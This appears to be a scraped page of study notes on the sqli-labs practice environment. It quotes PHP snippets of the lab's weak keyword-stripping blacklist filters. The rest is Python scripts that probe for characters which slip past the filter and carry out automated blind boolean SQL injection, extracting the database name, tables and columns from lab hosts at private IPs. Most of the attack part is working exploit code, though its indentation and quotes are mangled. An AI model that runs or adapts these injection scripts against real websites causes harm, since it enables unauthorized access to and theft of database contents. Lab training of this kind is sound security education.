SQLilabsPage2

php
// 输出 COOKIE 值
echo $_COOKIE["user"];

// 查看所有 COOKIE
print_r($_COOKIE);
?>

$id=$_GET[‘id‘];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

function blacklist($id)
{
$id= preg_replace(‘/or/i‘,"", $id); //strip out OR (non case sensitive)
$id= preg_replace(‘/AND/i‘,"", $id); //Strip out AND (non case sensitive)

return $id;
}

function blacklist($id)
{
$id= preg_replace(‘/or/i‘,"", $id); //strip out OR (non case sensitive)
$id= preg_replace(‘/and/i‘,"", $id); //Strip out AND (non case sensitive)
$id= preg_replace(‘/[\/\*]/‘,"", $id); //strip out /*
$id= preg_replace(‘/[--]/‘,"", $id); //Strip out --
$id= preg_replace(‘/[#]/‘,"", $id); //Strip out #
$id= preg_replace(‘/[\s]/‘,"", $id); //Strip out spaces
$id= preg_replace(‘/[\/\\\\]/‘,"", $id); //Strip out slashes
return $id;
}

import requests
def changeToHex(num):
tmp = hex(i).replace("0x", "")
if len(tmp)<2:
tmp = ‘0‘ + tmp
return "%" + tmp
req = requests.session()
for i in range(0,256):
i = changeToHex(i)
url = "http://192.168.2.211/sqli-labs/Less-26/?id=1‘" + i + "%26%26" + i + "‘1‘=‘1"
ret = req.get(url)
if b‘Dumb‘ in ret.content:
print("good,this can use:" + i)

function blacklist($id)
{
$id= preg_replace(‘/[\/\*]/‘,"", $id); //strip out /*
$id= preg_replace(‘/[--]/‘,"", $id); //Strip out --.
$id= preg_replace(‘/[#]/‘,"", $id); //Strip out #.
$id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/select/m‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/union/s‘,"", $id); //Strip out union
$id= preg_replace(‘/select/s‘,"", $id); //Strip out select
$id= preg_replace(‘/UNION/s‘,"", $id); //Strip out UNION
$id= preg_replace(‘/SELECT/s‘,"", $id); //Strip out SELECT
$id= preg_replace(‘/Union/s‘,"", $id); //Strip out Union
$id= preg_replace(‘/Select/s‘,"", $id); //Strip out select
return $id;
}

# _*_ coding:utf-8 _*_
import requests
import urllib
import time
start_time = time.time()
def database_length(url):
values={}
for i in range(1,100):
values[‘id‘] = "id=1‘ and (select length(database()))=%s" %i
print(values)
data = urllib.urlencode(values)
geturl = url+‘?‘+data
response = requests.get(geturl)
if response.content.find(‘Angelina‘)>0:
return i
def database_name(url):
payloads = ‘abcdefghijklmnopqrstuvwxyz0123456789@_.‘
values={}
databasename= ‘‘
aa = 15
aa = database_length(url)
print(aa)
for i in range(1, aa+1):
for payload in payloads:
values[‘id‘] = "id=1‘ and ascii(substring(database(),%s,1))=%s " %(i,ord(payload))
data = urllib.urlencode(values)
geturl = url+‘?‘+data
response = requests.get(geturl)
if response.content.find(‘Angelina‘)>0:
databasename += payload
return databasename
#print database_name(‘http://192.168.125.129/config/sql.php‘)


def table_count(url,database):
values={}
for i in range(1,100):
values[‘id‘] = "id=1‘ and (select count(table_name) from information_schema.tables where table_schema="+"‘"+database+"‘)"+"=%s" %i
data = urllib.urlencode(values)
geturl = url+‘?‘+data
response = requests.get(geturl)
if response.content.find(‘Angelina‘)>0:
return i
def table_length(url,a,database):
values={}
for i in range(1,100):
values[‘id‘] = "id=1‘ and (select length(table_name) from information_schema.tables where table_schema="+"‘"+database+"‘"+" limit %s,1)=%s" %(a,i)
data = urllib.urlencode(values)
geturl = url+‘?‘+data
response = requests.get(geturl)
if response.content.find(‘Angelina‘)>0:
return i
def table_name(url,database):
payloads = ‘abcdefghijklmnopqrstuvwxyz0123456789@_.‘
values={}
table_name=[]
bb = table_count(url,database)
for i in range(0,bb+1):
user= ‘‘
cc=table_length(url,i,database)
if cc==None:
break
for j in range(0,cc+1):
for payload in payloads:
values[‘id‘] = "id=1‘ and ascii(substring((select table_name from information_schema.tables where table_schema="+"‘"+database+"‘"+" limit %s,1),%s,1))=%s " %(i,j,ord(payload))
data = urllib.urlencode(values)
geturl = url+‘?‘+data
response = requests.get(geturl)
if response.content.find(‘Angelina‘)>0:
user += payload
#print payload
table_name.append(user)
return table_name
#print table_name(‘http://192.168.125.129/config/sql.php‘,‘test‘)
def column_count(url,table_name):
values={}
for i in range(1,100):
values[‘id‘] = "id=1‘ and (select count(column_name) from information_schema.columns where table_name="+"‘"+table_name+"‘"+")=%s" %i
data = urllib.urlencode(values)
geturl = url+‘?‘+data
response = requests.get(geturl)
if response.content.find(‘Angelina‘)>0:
return i
def column_length(num,url,table_name):
values={}
for i in range(1,100):
limit = " limit %s,1)=%s" %(num,i)
values[‘id‘] = "id=1‘ and (select length(column_name) from information_schema.columns where table_name="+"‘"+table_name+"‘"+limit
data = urllib.urlencode(values)
geturl = url+‘?‘+data
response = requests.get(geturl)
if response.content.find(‘Angelina‘)>0:
return i
def column_name(url,table_name):
payloads = ‘abcdefghijklmnopqrstuvwxyz0123456789@_.‘
values={}
column_name=[]
dd=column_count(url,table_name)
for i in range(0,dd+1):
user= ‘‘
bb=column_length(i,url,table_name)
if bb==None:
break
for j in range(0,bb+1):
for payload in payloads:
limit=" limit %s,1),%s,1))=%s" %(i,j,ord(payload))
values[‘id‘] = "id=1‘ and ascii(substring((select column_name from information_schema.columns where table_name="+"‘"+table_name+"‘"+limit
data = urllib.urlencode(values)
geturl = url+‘?‘+data
response = requests.get(geturl)
if response.content.find(‘Angelina‘)>0:
user += payload
column_name.append(user)
return column_name
#print column_name(‘http://192.168.125.129/config/sql.php‘,‘admin‘)
if __name__ == ‘__main__‘:
url=‘http://192.168.1.117/sqli-labs/Less-62/index.php‘
databasename=database_name(url)
print "The current database: "+databasename

database=raw_input("Please input your databasename: ")
tables=table_name(url,database)
print database+" have the tables:",
print tables
for table in tables:
print table+" have the columns:"
print column_name(url,table)
print ‘Use for: %d second‘ % (time.time() - start_time)